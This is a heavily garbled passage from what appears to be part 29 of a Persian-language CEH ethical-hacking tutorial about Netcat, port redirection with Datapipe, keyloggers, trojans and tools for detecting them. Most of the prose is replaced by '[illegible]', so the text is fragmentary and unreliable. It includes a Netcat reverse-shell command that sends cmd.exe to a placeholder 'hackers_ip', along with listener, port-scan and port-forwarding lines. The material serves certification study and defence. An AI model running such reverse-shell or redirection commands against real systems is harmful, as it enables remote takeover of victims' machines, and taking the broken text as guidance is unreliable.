[illegible] CEH [illegible] – 29

[illegible] CEH [illegible]) :[illegible] [illegible]

[illegible] (keyloggers) [illegible] .[illegible] .[illegible] .[illegible]

[illegible] CEH [illegible] .[illegible]

[illegible] Netcat [illegible] .[illegible] (listener) [illegible] .[illegible]

```
nc -n -v -l -p80
```

.[illegible]

```
nc -n hackers_ip 80 -e "cmd.exe"
```

[illegible] Netcat .[illegible]

[illegible]

```
nc -v -z -w1 IPaddress 1-1024
```

[illegible] -v [illegible] -z [illegible] -w1 [illegible] time out [illegible] 1 [illegible] 1024 [illegible] TCP [illegible]. Datapipe [illegible] FreeBSB [illegible]. [illegible] Datapipe [illegible]:

```
datapipe <localport> <remoteport> <remotehost>
```

[illegible] 10.2.2.254 [illegible] Datapipe [illegible] (10.2.2.2) [illegible] 139 [illegible] Datapipe [illegible].

```
datapipe 80 139 10.2.2.2
```

[illegible].

```
datapipe 139 80 10.2.2.254
```

[illegible] 80 [illegible] 139 [illegible] 80 [illegible] Datapipe [illegible] 139 [illegible] 80 [illegible]. FPipe [illegible] Foundstone [illegible].

[illegible]

[illegible] (keyloggers) [illegible].

[illegible].

[illegible].

[illegible]

[illegible]

[illegible]

[illegible] 802.11 [illegible] KeyGhost [illegible] KeyGhost Ltd [illegible] (http://www.keyghost.com) [illegible]

[illegible]

[illegible]:

■ Spy PC Keylogger: [illegible]

■ Ghost Keylogger: Ghost Keylogger [illegible]

■ Veriato Investigator: [illegible]

■ eBLASTER: [illegible]

[illegible]

[illegible]:

■ [illegible]: [illegible]

■ [illegible] 100000 [illegible] dropper [illegible] wrapper [illegible] dropper [illegible].

[illegible] =Windows load [illegible] =run [illegible] Shell-line Win.ini [illegible] Win.ini [illegible] hosts [illegible].

[illegible]:

■ Ad-Aware: http://www.lavasoft.com/

■ Microsoft Anti Spyware: https://www.microsoft.com/security/default.aspx

■ HiJackThis: https://sourceforge.net/projects/hjt/

■ Spybot Search & Destroy: https://www.safer-networking.org/dl/

■ SpywareBlaster: http://www.brightfort.com/spywareblaster.html

[illegible]

[illegible].

[illegible].

[illegible] Tripwire [illegible] Tripwire [illegible].

[illegible]:

■ [illegible].

- [illegible].

- [illegible].

- [illegible].

- [illegible].

- [illegible].

- [illegible].

[illegible]: [illegible]. [illegible].

[illegible]

[illegible]. [illegible]. [illegible] C: \ Windows \ temp \ svchost.exe [illegible]. [illegible] Task Manager [illegible] svchost.exe [illegible]. [illegible] PID [illegible] PID [illegible] svchost.exe [illegible]. [illegible] PEB [illegible] Process Environment Block [illegible]. [illegible]. [illegible] EPROCESS [illegible]. [illegible] nonpaged pool [illegible]. [illegible]:

- Process Monitor: Process Monitor [illegible]. [illegible].

- Task Manager: [illegible].

- Ps: [illegible] UNIX / Linux [illegible].

- Netstat: [illegible] TCP [illegible] IPv4 [illegible]. Netstat -an [illegible].

- CurrPorts: [illegible].

- TCPView: [illegible] GUI [illegible] Sysinternals [illegible]. [illegible].

- Microsoft Computer Management Console: [illegible]. [illegible] run [illegible] compmgmt.msc [illegible].

- Process Viewer: [illegible]

[illegible].

■ IceSword: [illegible].

■ Regshot: [illegible].

[illegible].

[illegible] **CEH** [illegible]:

CEH [illegible]

[illegible]:
[illegible]
[illegible]:
[illegible]
[illegible]:
13:00 - 10/03/1399
[illegible]:
CEH [illegible] - CEH [illegible] - CEH [illegible] - [illegible] - CEH v10 [illegible] - [illegible]
CEH10 [illegible] - [illegible] - [illegible] - [illegible] - [illegible] - [illegible]

[illegible]
[illegible]: https://www.shabakeh-mag.com/security/16903/%D8%A2%D9%85%D9%88%D8%B2%D8%B4-ceh-%D9%87%DA%A9%D8%B1-%DA%A9%D9%84%D8%A7%D9%87-%D8%B3%D9%81%DB%8C%D8%AF-%D8%A7%D8%A8%D8%B2%D8%A7%D8%B1%D9%87%D8%A7%DB%8C%DB%8C-%DA%A9%D9%87-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%A7%D8%B3%D8%AA%D8%AE%D8%B1%D8%A7%D8%AC-%D8%A7%D8%B7%D9%84%D8%A7%D8%B9%D8%A7%D8%AA-%D8%A7%D8%B3%D8%AA%D9%81%D8%A7%D8%AF%D9%87-%D9%85%DB%8C%E2%80%8C%D8%B4%D9%88%D9%86%D8%AF